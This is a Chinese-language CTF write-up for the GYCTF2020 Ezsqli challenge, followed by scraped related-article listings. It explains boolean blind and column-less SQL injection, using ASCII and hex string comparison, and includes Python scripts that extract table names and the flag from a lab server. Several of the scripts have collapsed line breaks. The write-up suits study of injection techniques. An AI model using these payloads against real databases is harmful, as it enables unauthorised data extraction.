文章目录

  • ASCII位偏移
  • 参考文章

无列名注入,acii位偏移

打开环境后,是个查询的东西

输入1  返回Nu1L
输入2  返回V&N
输入其他  返回Error Occured When Fetch Result.

fuzz下,发现过滤了挺多的

import requests
import timeflag = ""
url = 'http://2105be2a-2049-46f5-abfc-a6bf19dc2e59.node4.buuoj.cn:81/'
#库名
#payload = "2||ascii(substr(database(),{},1))>{}"
#表名
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{}'#表名for i in range(1,100):print(i)low = 32high = 127mid = low + ((high-low)>>1)while(low < high):payload1 = payload.format(i,mid)data = {"id":payload1}print(data)r = requests.post(url,data = data)if r.status_code == 429:print("too fast")time.sleep(0.5)if "Nu1L" in r.text:low = mid + 1else:high = midmid = low + ((high-low)>>1)print(mid)if(mid == 32 or mid == 127):breakflag += chr(mid)print(flag)

ASCII位偏移

select (select 'h')>(select 'g');

select (select 'h')>(select 'i');


同时mysql会自动识别16进制为字符串

基本是两种方法,原理是一样的
第一种:

2||2>1

即当||后面的成立时,返回Nu1L
第二种:

1^(2<1)

当^后面的不成立时,返回Nu1L
第一种贴一下师傅的wp,原链接:夜幕下的灯火阑珊

# coding:utf-8
import requests
import time
url = 'http://f0559a5c-d69d-42db-a4d7-564805f5c24b.node4.buuoj.cn:81/'
def str_hex(s): #十六进制转换 fl ==> 0x666cres = ''for i in s:res += hex(ord(i)).replace('0x','')res = '0x' + resreturn resres = ''
for i in range(1,200):print(i)left = 31right = 127mid = left + ((right - left)>>1)while left < right:key = (str_hex(res+chr(mid)))#key = res + chr(mid)#payload = "1^((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(key)payload = '2||((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))'.format(key)print(payload)data = {'id':payload }r = requests.post(url = url,  data = data)if r.status_code == 429:print('too fast')time.sleep(2)if 'Nu1L'  in r.text:left = mid + 1elif 'Nu1L' not in r.text:right = mid mid = left + ((right-left)>>1)if mid == 31 or mid == 127:breakres += chr(mid-1) #爆flagprint(str(mid),res)

第二种因为后面要不成立,稍微改动一下

# coding:utf-8
import requests
import time
url = 'http://f0559a5c-d69d-42db-a4d7-564805f5c24b.node4.buuoj.cn:81/'
def str_hex(s): #十六进制转换 fl ==> 0x666cres = ''for i in s:res += hex(ord(i)).replace('0x','')res = '0x' + resreturn resres = ''
for i in range(1,200):print(i)left = 31right = 127mid = left + ((right - left)>>1)while left < right:key = (str_hex(res+chr(mid)))#key = res + chr(mid)#payload = "1^((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(key)payload = '2||((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))'.format(key)print(payload)data = {'id':payload }r = requests.post(url = url,  data = data)if r.status_code == 429:print('too fast')time.sleep(2)if 'Nu1L'  in r.text:right = midelif 'Nu1L' not in r.text:left = mid + 1 mid = left + ((right-left)>>1)if mid == 31 or mid == 127:breakres += chr(mid-1) #爆flagprint(str(mid),res)

如果不进行16进制处理的话,会报错,类似于乱码错误

参考文章

  1. 夜幕下的灯火阑珊
  2. Y1ng师傅的wp

[GYCTF2020]Ezsqli相关推荐

  1. [BUUCTF][GYCTF2020]Ezsqli

    [GYCTF2020]Ezsqli 布尔盲注 无列名盲注 抓包,存在post的id参数. 进行测试 id=1时, :Nu1L id=0时, :Error Occured When Fetch Resu ...

  2. [GYCTF2020]Ezsqli --BUUCTF

    目录 分析 爆表 无列名注入 分析 先上fuzz跑 长度为507的表示被过滤掉了,长度497的回显false,也有可能被过滤删掉的,测试的时候发现注释符被过掉了,对比查询1和1#或1-- 结果都是返回 ...

  3. [GYCTF2020]Ezsqli -wp

    打开容器后可以看到一个提交框 尝试一下发现可以进行bool盲注0^1 0^(ascii(substr((select database()),1,1))>0) 可以比较顺利的查到库名 give_ ...

  4. Web_SQL注入(1)

    前言: 考察SQL注入的赛题很多,而且涉及到的知识也很杂,就总结一下做过的不同类型的SQL注入汇总一下. [GYCTF2020]Blacklist --涉及新知识HANDLER ... OPEN等.堆 ...

  5. 【web-ctf】ctf_BUUCTF_web(2)

    文章目录 BUUCTF_web SQL注入 1. [RCTF2015]EasySQL 2. [CISCN2019 华北赛区 Day1 Web5]CyberPunk 3. [CISCN2019 总决赛 ...

  6. [GYCTF2020]Ez_Express

    [GYCTF2020]Ez_Express dirsearch 扫到源码 www.zip 首先回顾一下原型链污染 在我们调用一个对象的某属性时: 1.对象(obj)中寻找这一属性 2.如果找不到,则在 ...

  7. [GYCTF2020]Blacklist 使用handler函数进行sql堆注入

    [GYCTF2020]Blacklist 前言 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途! 参 ...

  8. BUUCTF [GYCTF2020] Blacklist

    BUUCTF [GYCTF2020] Blacklist 启动靶机: 提交参数1后正常回显内容: 输入2/2判断注入类型: 回显为2,可以判断出为字符型注入 输入select,查看是否存在回显: re ...

  9. [GYCTF2020]Blacklist 1

    [GYCTF2020]Blacklist 1 在做本题的时候,我们发现过滤掉了很多的关键字 很多注入方法已经没有办法使用(联合查询 布尔盲注 updataxml的报错注入) 并且发现本关的注入方法为 ...

最新文章

  1. 疫情期间,为什么Snapchat比Pinterest更赚钱
  2. lisp 焊缝_超声波焊接工具性能参数求解与参数图绘制
  3. 工程制图 ( 标准件与常用件)
  4. SQL/T-SQL/PLSQL
  5. Android通用流行框架大全
  6. 两用物项许可证办理流程_一指通 | 出口许可证办理流程
  7. 【Cocos2d-X(2.x) 游戏开发系列之二】cocos2dx最新2.0.1版本跨平台整合NDK+Xcode编译到Android...
  8. ANDROID调用webservice带soapheader验证
  9. 微信小程序学习笔记02:微信小程序注册
  10. 用Jersey构建RESTful服务简单示例
  11. pb 修改数据窗口种指定字段位置_如何在PB数据窗口中修改数据设置数据窗口的更新属性...
  12. 读文件fread函数的用法
  13. linux 判断硬链接文件,如何判断硬链接(hard link)文件?
  14. 中西方对时间的差异_中西方时间观差异的跨文化分析
  15. 单GPU每秒76帧,重叠对象也能完美分割,多模态Transformer用于视频分割效果惊艳...
  16. Android系统完整的启动流程
  17. 【本科毕业论文格式调整全家桶~页面设置|目录生成与调整|文献插入与格式】
  18. Spark中cache、persist、checkpoint区别
  19. Python列表简介
  20. 结合机械原理的现代少儿编程教育

热门文章

  1. 量化投资:股市形态学
  2. 用手机打 CTF 是什么样的体验
  3. python怎么爬取电影海报_豆瓣top250海报原图爬取
  4. Spring5-IOC、AOP、事务管理
  5. 怎么查看单片机程序占多少RAM 、ROM
  6. Stanford NLP2
  7. 交通违章6分怎么处理
  8. AWS亚马逊实战-(移动端直传S3)服务器端调用AWS STS生成用户临时凭证上传至S3
  9. 小程序登录与退出登录
  10. 2010年:中国IC新一轮造福年